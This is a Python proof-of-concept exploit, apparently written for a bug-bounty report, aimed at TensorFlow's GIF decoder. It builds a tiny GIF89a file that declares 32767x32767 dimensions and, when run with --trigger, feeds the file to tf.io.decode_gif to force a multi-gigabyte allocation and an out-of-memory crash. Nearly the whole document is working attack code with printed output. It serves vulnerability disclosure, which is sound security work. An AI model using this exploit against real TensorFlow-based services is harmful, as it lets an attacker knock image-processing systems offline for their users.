#!/usr/bin/env python3
"""
PoC: TensorFlow GIF Decoder Unbounded Memory Allocation (DoS)
CVE: TBD | CWE-770 | CVSS 7.5

Vulnerability:
    tensorflow/core/kernels/image/decode_image_op.cc — DecodeGifV2 computes
    total_pixels = num_frames * height * width * channels from GIF metadata
    and allocates that many bytes WITHOUT any upper bound check.

    Compare with DecodeBmpV2 in the SAME file which checks:
        OP_REQUIRES(context, total_bytes < (1LL << 30),
                    errors::InvalidArgument("BMP total bytes exceeds 2^30"));

    GIF has NO equivalent check — attacker sets width/height in GIF header
    to trigger multi-gigabyte allocation.

Attack:
    Craft a GIF89a file with Logical Screen Width/Height = 32767 (max uint16)
    and num_frames = 1. Total allocation attempt: ~3 GB.
    tf.io.decode_gif() on this file → OOM crash.

Usage:
    python3 poc_exploit.py              # generates malicious.gif
    python3 poc_exploit.py --trigger    # also triggers via tf.io.decode_gif()

Author: security research (huntr.com submission)
"""

import sys
import os
import struct

OUTPUT_FILE = 'malicious_huge.gif'


def create_malicious_gif(width: int = 32767, height: int = 32767) -> bytes:
    """
    Craft a minimal GIF89a file with huge declared dimensions.

    GIF89a header format (first 13 bytes):
        Bytes 0-2:  GIF signature 'GIF'
        Bytes 3-5:  Version '89a'
        Bytes 6-7:  Logical Screen Width (uint16 LE)
        Bytes 8-9:  Logical Screen Height (uint16 LE)
        Byte  10:   Packed field (Global Color Table Flag, etc.)
        Byte  11:   Background Color Index
        Byte  12:   Pixel Aspect Ratio

    TF reads width/height from this header and calls:
        allocate_output(0, TensorShape({num_frames, height, width, channels}))
    """
    # GIF89a signature + header
    header = b'GIF89a'
    header += struct.pack('<HH', width, height)   # width, height (huge!)
    header += bytes([0x00,  # Packed: no global color table
                     0x00,  # Background color index
                     0x00]) # Pixel aspect ratio

    # Minimal Image Descriptor (0x2C = Image Separator)
    image_desc  = b'\x2C'               # Image Separator
    image_desc += struct.pack('<HH', 0, 0)    # left, top
    image_desc += struct.pack('<HH', width, height)  # width, height
    image_desc += b'\x00'              # Packed: no local color table

    # Minimal LZW data (1x1 transparent frame to keep it parseable)
    min_lzw_code_size = b'\x02'  # LZW minimum code size
    lzw_data = b'\x02\x4C\x01\x00'   # minimal valid LZW block
    sub_block_terminator = b'\x00'

    # GIF Trailer
    trailer = b'\x3B'

    payload = header + image_desc + min_lzw_code_size + lzw_data + sub_block_terminator + trailer

    total_bytes_attempt = width * height * 3  # RGB
    print(f"[*] Crafted malicious GIF89a:")
    print(f"    Dimensions : {width} x {height} pixels")
    print(f"    Channels   : 3 (RGB)")
    print(f"    Alloc attempt: {total_bytes_attempt:,} bytes = {total_bytes_attempt/1e9:.2f} GB")
    print(f"    File size  : {len(payload)} bytes (minimal header only)")
    print(f"    BMP decoder: would REJECT (limit 2^30 = 1,073,741,824 bytes)")
    print(f"    GIF decoder: NO LIMIT → allocates {total_bytes_attempt/1e9:.2f} GB")
    return payload


def main():
    trigger = '--trigger' in sys.argv

    payload = create_malicious_gif()
    with open(OUTPUT_FILE, 'wb') as f:
        f.write(payload)
    print(f"[+] Malicious GIF written: {OUTPUT_FILE} ({os.path.getsize(OUTPUT_FILE)} bytes)")

    if trigger:
        print(f"\n[*] Triggering via tf.io.decode_gif('{OUTPUT_FILE}')...")
        try:
            import tensorflow as tf
            print(f"    TensorFlow version: {tf.__version__}")
            gif_bytes = open(OUTPUT_FILE, 'rb').read()
            result = tf.io.decode_gif(gif_bytes)
            print(f"[-] Unexpected success: shape={result.shape}")
        except tf.errors.ResourceExhaustedError as e:
            print(f"[+] CRASH CONFIRMED: ResourceExhaustedError (OOM) — {e}")
        except MemoryError:
            print(f"[+] CRASH CONFIRMED: Python MemoryError")
        except Exception as e:
            print(f"[~] Exception: {type(e).__name__}: {e}")
    else:
        print(f"\n[i] Run with --trigger to demonstrate the crash:")
        print(f"    python3 {sys.argv[0]} --trigger")

if __name__ == '__main__':
    main()